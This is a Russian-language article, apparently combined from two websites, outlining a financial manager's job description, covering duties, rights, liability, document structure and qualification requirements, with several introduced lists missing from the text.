Если рассматривать должностную инструкцию финансового менеджера на предприятии, то там есть пункт, где указано, что сотрудник должен заниматься обеспечением оперативного финансирования, осуществлять платежные и расчетные обязательства, своевременно отражать все изменения, касающиеся платежных возможностей компании, и отслеживать собственные средства фирмы. Он рассчитывает прибыль от реализации товаров и услуг, использует ресурсы, осуществляет прочие операции, затрагивающие основную деятельность предприятия. В обязанности этого сотрудника входит принятие решений касательно распределения прибыли. Сюда входит финансирование производственных процессов с целью осуществления заявленных планов, выплаты заработной платы и дивидендов, реализация программ социального назначения, погашение кредитов и прочее.
Работник занимается расчетами налогов, их минимизацией, перечислением денежных средств с целью их уплаты в специализированные учреждения и фонды. Должностная инструкция финансового менеджера (РК в том числе) предполагает, что работник проводит анализ выполнения смет, бухгалтерской и прочих отчетностей, затрагивающих финансовую деятельность компании, контролирует выполнение планов, остановку производства продукции, которая невыгодна для реализации, и правильное расходование денежных ресурсов фирмы.
Именно он занимается организацией учета финансовых ресурсов и подготовкой отчетной документации для руководства и других структур, которым необходима эта информация. Обеспечивает правильное оформление всех документов и проверяет достоверность указанных в них данных. Также в его задачи может входить координирование и консультирование руководства по финансовым вопросам.
Согласно имеющимся образцам должностной инструкции фин. менеджера, он вправе потребовать у руководства обеспечить ему нормальные условия труда. Имеется в виду, что сотрудник имеет право на предоставление помещения, организацию рабочего места и обеспечение всеми необходимыми инструментами для выполнения возложенных на него функций. Он имеет право использовать руководящие утверждения, инструкции, приказы, распоряжения и прочие документы, которые регламентируют его деятельность.
Он может предложить начальнику методы улучшения деятельности компании, а также варианты усовершенствования форм и методов труда, если это входит в его компетенцию. В его праве — получать проекты решений, которые затрагивают его работу, запрашивать документы и данные у всех сотрудников компании, в том числе статистику, отчеты и другое; информировать начальство о недостатках работы компании и предлагать пути решения проблемы. Финансовый менеджер может ставить подпись и визировать документацию разного типа, если это входит в его компетенцию. Он вправе использовать разные методы получения информации для решения возложенных на него задач.
Сотрудника могут привлечь к ответственности, если он несвоевременно или некачественно выполняет возложенные на него задачи, за неправомерное использование прав, в том числе превышение своих полномочий или использование их в личных целях. Он в ответе, если не соблюдает приказы, инструкции, распоряжения и прочие моменты. Если он нарушает устав и правила компании, небрежно относится к имуществу компании, грубо относится к сотрудникам и персоналу организации. Финансовый менеджер несет ответственность за сохранность документов и конфиденциальной информации, хранение коммерческой тайны и шпионаж. Также его могут привлечь к ответу за предоставление руководству заведомо ложной или искаженной информации касательно финансового положения компании и оборота ее денежных ресурсов.
Это основные пункты, которые содержит образец должностной инструкции финансового менеджера. В зависимости от направления хозяйственной деятельности организации и прочих моментов, они могут быть изменены или дополнены, не выходя за рамки действующего законодательства. Данный документ регламентирует основную деятельность финансового менеджера. Многие ошибочно путают эту должность с постом директора, но на деле это немного не так. Финансовый менеджер является лишь сотрудником отдела и находится в подчинении не только генерального, но и финансового директора. Профессия очень распространенная и востребованная на рынке труда, но получить прямое профильное образование по этому виду деятельности на территории нашей страны пока нет возможности, поэтому желающим приходится выбирать смежные профессии.
monateka.com
Управление финансовыми потоками организации требует опыта и подготовки. Большинство компаний создает департамент, возглавляемый финансовым директором. Некоторые ограничиваются только введением в штатное расписание позиции одного сотрудника, на которого возлагается контроль над всеми денежными средствами организации. Должностная инструкция финансового менеджера станет его помощником в эффективной организации своей деятельности.
Руководитель каждой организации самостоятельно определяет состав своей финансовой службы.
В зависимости от объема поставленных задач, финансовый менеджер может быть самостоятельным руководителем сектора или находиться в подчинении директора подразделения. От этого зависят поставленные перед ним задачи и выполняемые им функций.
В первом случае на него возлагаются все задачи, связанные с финансовым состоянием компании, от анализа показателей деятельности до управления денежными потоками, во втором случае ему будет доверено выполнение только части функций. Среди общих решаемых им задач:
Позиция является ключевой для любой компании, денежные поступления которой не являются постоянными, например, бюджетных организаций. От него зависит отсутствие кассовых разрывов. Каждый текущий платеж организации должен иметь ресурсы для своего осуществления. Для этого он должен своевременно планировать доходы и расходы, привлекать заемные средства, принимать меры к взысканию дебиторской задолженности. Это должно обезопасить организацию от возникновения несвоевременно погашенных долгов, которые могут привести к банкротству.
Второй важнейшей задачей будет анализ каждой операции, расчет ее себестоимости, поиск ресурсов для минимизации затрат организации за счет снижения излишних расходов. Анализ таких показателей как ликвидности и финансовой устойчивости покажет, насколько устойчива организация и нет ли для нее риска наступления критической ситуации.
В ситуации, когда у фирмы дела идут хорошо и есть свободные денежные ресурсы, менеджер заботится об их приумножении, размещая их в наиболее доходные активы, предлагаемые рынком, например, в облигации государственных корпораций.
Если организация активно участвует в инвестиционной деятельности, например, приобретает новые компании и объекты недвижимости, создает новые подразделения или производства, специалист рассчитывает предполагаемую доходность каждого проекта, определяя целесообразность приобретения объекта и планируемый период достижения точки безубыточности и реализации созданного актива.
Трудовое право предполагает, что каждый сотрудник организации осуществляет свою деятельность на основании четко описанных обязанностей. Должностная инструкция как отдельный документ составляется в обязательном порядке только для определенных категорий работников. К ним относятся муниципальные служащие, полицейские, сотрудники частных охранных служб и вузов. Все остальные могут ограничиться включением раздела, описывающего их трудовую функцию, права, обязанности и подчиненность, в трудовой контракт, в обязательном порядке заключаемый с каждым сотрудником.
Но практика идет по тому пути, что инструкции создаются для всех сотрудников большинства коммерческих организаций. Это определяется и опасением замечаний при проверках, проводимых трудовой инспекцией, и тем, что общепринятый формат позволяет:
Трудовой Кодекс не обязывает создавать должностные инструкции и не предлагает их обязательного формата.
Единственным относящимся к ней моментом закона становится ст. 8, предписывающая компании разрабатывать и утверждать собственные локальные нормативные акты, которые могут определять внутренние нормы трудового права, не противоречащие Кодексу, но расширяющие данные в нем указания. Таким документом и станет должностная инструкция.
Но при их составлении специалисты кадровых служб берут за основу следующие нормативно-правовые акты и другие документы:
Нормы Трудового Кодекса напрямую включаются в инструкцию в части определения его ответственности.
Практика выработала формат документа, учитывающий все основные моменты, которые должны быть предусмотрены в отношениях между работодателем и специалистом.
Таблица 1. Положения инструкции.
Наименование раздела | Описание |
Общие положения | Так как документ является локальным нормативным актом, включающим нормы трудового права, он должен ввести основные определения и понятия, используемые в дальнейшем. Также в этом разделе указывается статус менеджера (руководитель, специалист), кому он подчиняется и кто входит в его штат. Также здесь необходимо описать, кого будет замещать сотрудник в случае отсутствия, и какой работник будет замещать его. |
Квалификационные требования | Тут потребуется описать образование, опыт работы, необходимые знания. Обычно все эти требования берутся непосредственно из квалификационных справочников, содержащих общие нормы. Но если специфика деятельности компании определяет необходимость специальных знаний и дополнительного образования, например, наличия международных аттестационных сертификатов, закон не препятствует включить такие требования в этот раздел. |
Документы, на которые должен ориентироваться менеджер в работе | Это основные законы и подзаконные акты, относящиеся к деятельности компании, Устав предприятия, соглашение акционеров, при его наличии, положения об общем собрании, совете директоров и ревизионной комиссии, иные положения и документы, регламентирующие производственные процессы, например, положение о бюджетировании. |
Должностные обязанности | Они могут быть универсальными и перечисляться в общем, включая все функции, выполняемые отделом, или определены специально для каждого специалиста. В этом случае необходимо также описать те обязанности, которые будут на него возлагаться при временном замещении должности коллеги. |
Права | Здесь описываются стандартные права руководителя и специалиста. В первом случае уточняется, кому именно и в каком порядке он вправе отдавать распоряжения, во втором следует отметить, у кого и какие документы и информацию он может запрашивать и выполнения каких должностных обязанностей требовать. Отдельно описываются его права в отношениях с руководством. |
Ответственность | В этом разделе перечисляются как непосредственные задачи, за выполнение которых менеджер несет ответственность, так и предусмотренные трудовым законодательством санкции. |
Поощрения | Этот раздел включается не во все инструкции, но в ряде случаев, если у менеджера установлена индивидуальная система премирования, например, на основе ключевых показателей эффективности, она может быть отражена в этом разделе. |
Условия работы | Этот раздел включается в инструкции также не во всех случаях. Например, он может появиться в ситуации, если деятельность специалиста связана с большим количеством командировок. |
Заключительные положения | Обычно здесь описывается порядок внесения изменений и уточнений в документ. |
Эта структура не является исчерпывающей, в зависимости от специфики работы конкретного предприятия она может дополняться новыми разделами.
Видео о работе финансового менеджера:
Здесь описываются те функции, которые возложены на конкретного сотрудника. Они могут быть выбраны из следующего списка:
К этим основным задачам каждая компания добавит собственное видение, какие именно функции должен выполнять ее финансовый менеджер.
В этом пункте перечень прав будет зависеть от позиции работника на служебной лестнице. Чаще всего здесь будут описаны права на:
Права могут быть расширены как в рамках инструкции, так и в случае выдачи доверенности, например, на подписание платежных поручений.
В этом разделе обычно указывается ограниченное количество моментов, так как большинство случаев ответственности предусмотрено либо трудовым законодательством, либо нормами о материальной ответственности за вверенные средства и ресурсы. Сюда попадают только следующие положения о том, что менеджер несет ответственность за:
Видео о финансовом менеджере на практике:
Здесь чаще всего указываются общие требования, предъявляемые к кандидату на должность специалиста и руководителя. От обоих потребуется высшее финансово-экономическое образование. Иногда работодатель уточняет, что он хочет видеть только государственные вузы. В предприятиях специализированных может быть указано и конкретное учебное заведение, например, Академия Нефти и Газа. Законодательству это не противоречит.
Стандартные требования к стажу работы по специальности составляют 3 года для специалиста и 5 для руководителя. Но предприятие, в зависимости от конкретной ситуации, может поднять или снизить этот порог.
Среди необходимых знаний и навыков обычно указываются:
К этим параметрам предприятие может добавить требование о получении различных аттестатов, знание иностранных языков и наличие иных конкретных навыков.
От качества работы менеджера зависит, насколько успешны будут общие результаты работы предприятия. Требования, описанные в должностной инструкции, помогут ему правильно организовать свою деятельность, а ее нормы – убедить других линейных руководителей соблюдать финансовую дисциплину.
Заметили ошибку? Выделите ее и нажмите Ctrl+Enter, чтобы сообщить нам.
pravodeneg.net